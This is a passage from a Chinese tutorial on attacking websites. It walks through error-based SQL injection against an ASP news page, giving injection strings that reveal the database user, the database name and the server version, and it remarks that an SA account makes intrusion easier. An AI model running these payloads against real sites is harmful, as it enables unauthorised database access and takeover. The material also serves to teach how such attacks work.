实例讲解跨站入侵攻防战之攻击篇

　　回车后出现“BOF或EOF中有一个是真，或者当前的记录已经被删除，所需要的操作要求一个当前的记录”的错误提示，这进一步证明了SQL注入的可操作性。(如图4)

　　 Highslide JS

　　图4

　　第五步：接下来我们来通过SQL注入语言让页面告诉我们当前连接该SQL SERVER数据库的帐户信息，通过输入

XXX/news_show.asp?wt_id=25 and user>0

　　回车来检测，页面提示出错，信息为“

Microsoft odbc sql server driver将nvarchar值AAA转换为数据类型为int的列时发生语法错误

。这说明了AAA帐户就是当前连接该SQL SERVER数据库的用户。(如图5)

　　 Highslide JS

　　图5

　　小提示：

　　如果通过该指令进行SQL注入时出错信息为将nvarchar值dbo转换为数据类型为int的列时发生语法错误，那么说明当前连接该数据库的帐户为SA帐户，这个帐户的权限是巨大的，我们入侵将变得更加容易，SA帐户就等于服务器上操作系统的administrator管理员权限。

　　第六步：接下来我们来测试当前AAA帐户连接的数据库名称是什么，输入

http://xxx/news_show.asp?wt_id=25 and db_name()>0

　　，错误提示为——

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将nvarchar值 'BBB'

　　转换为数据类型为int的列时发生语法错误。这说明当前AAA帐户连接的数据库名称为BBB。(如图6)

　　 Highslide JS

　　图6

　　第七步：我们继续来判断目标网站数据库类型和版本，通过输入

http://xxx/news_show.asp?wt_id=25 and 1=(select @@VERSION)

　　，显示错误提示为——